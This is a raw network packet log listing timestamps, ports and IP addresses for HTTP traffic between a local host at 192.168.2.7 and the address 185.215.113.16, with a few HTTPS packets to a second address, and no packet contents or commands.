Oct 30, 2024 04:35:34.896148920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896182060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896224022 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896316051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896331072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896357059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896368980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896388054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896394014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896404982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896409988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896437883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896457911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896565914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896617889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896642923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896657944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896672010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896693945 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896716118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896728039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896749020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896779060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896785021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896799088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896811008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896831989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896852970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.938941956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.938961029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.938973904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.939085007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.981489897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.981527090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.981542110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.981600046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.981653929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012482882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012509108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012543917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012554884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012595892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012609005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012613058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012629032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012638092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012676954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012682915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012691021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012706041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012722969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012758970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012763023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012773991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012784958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012789011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012809992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012836933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.012974024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.012995958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013016939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013019085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013032913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013055086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013058901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013072014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013106108 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013130903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013186932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013238907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013251066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013267040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013290882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013309002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013325930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013326883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013350010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013379097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013395071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013439894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013454914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013458967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013483047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013509035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013535023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013550043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013564110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013585091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013586998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013606071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013608932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013654947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013894081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013943911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013955116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.013959885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.013988018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014014006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014027119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014041901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014058113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014072895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014081001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014103889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014123917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014138937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014177084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014178038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014194012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014219999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014244080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014316082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014360905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014372110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014377117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014399052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014425039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014450073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014465094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014480114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014487028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014496088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014524937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014542103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.014559984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.014595032 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.056730986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.056746006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.056761980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.056785107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.056819916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.099270105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.099299908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.099381924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.099392891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.099431992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130217075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130230904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130249023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130286932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130311966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130317926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130327940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130342007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130351067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130383015 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130384922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130428076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130438089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130450964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130480051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130485058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130501032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130502939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130525112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130528927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130547047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130578041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130670071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130682945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130709887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130738974 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130745888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130796909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130824089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130865097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130908012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130923033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130954027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130955935 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.130985975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.130999088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131001949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131017923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131041050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131052971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131055117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131077051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131099939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131180048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131195068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131210089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131222963 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131241083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131263971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131287098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131304979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131309986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131351948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131474018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131505966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131520987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131526947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131561041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131633043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131649017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131670952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131675959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131688118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131710052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131746054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131748915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131761074 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131778002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.131793976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131814003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.131994009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132009029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132021904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132045984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132080078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132117987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132133007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132148027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132170916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132205009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132220984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132227898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132246017 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132281065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132330894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132380009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132384062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132400036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132422924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132431030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132446051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.132462978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132462978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.132493019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.174671888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.174702883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.174717903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.174848080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.174848080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.196988106 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:35.197102070 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:35.197256088 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:35.197256088 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:35.217041969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.217057943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.217072010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.217093945 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.217122078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.247962952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.247992039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248017073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248018026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248044968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248048067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248065948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248070955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248083115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248090029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248123884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248123884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248159885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248192072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248198032 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248208046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248217106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248255014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248255968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248271942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248296976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248331070 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248378038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248418093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248425007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248434067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248461962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248466969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248482943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248486042 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248500109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248531103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248536110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248550892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248575926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248601913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248661995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248712063 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248717070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248733044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248771906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248800039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248830080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248846054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248873949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248888969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.248895884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248949051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.248953104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249001026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249018908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249034882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249058008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249066114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249099016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249186039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249232054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249238968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249248981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249274015 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249291897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249310017 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249332905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249346018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249380112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249444008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249485016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249500990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249516010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249588013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249588013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249613047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249629974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249644995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249653101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249663115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249680996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249702930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249737024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249778986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249806881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249850035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249870062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249886990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249918938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249928951 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.249937057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249953032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249968052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.249974966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.250000000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.250020027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:35.250058889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.250075102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.250089884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:35.250104904 CET	80	49986	185.215.113.16	192.168.2.7
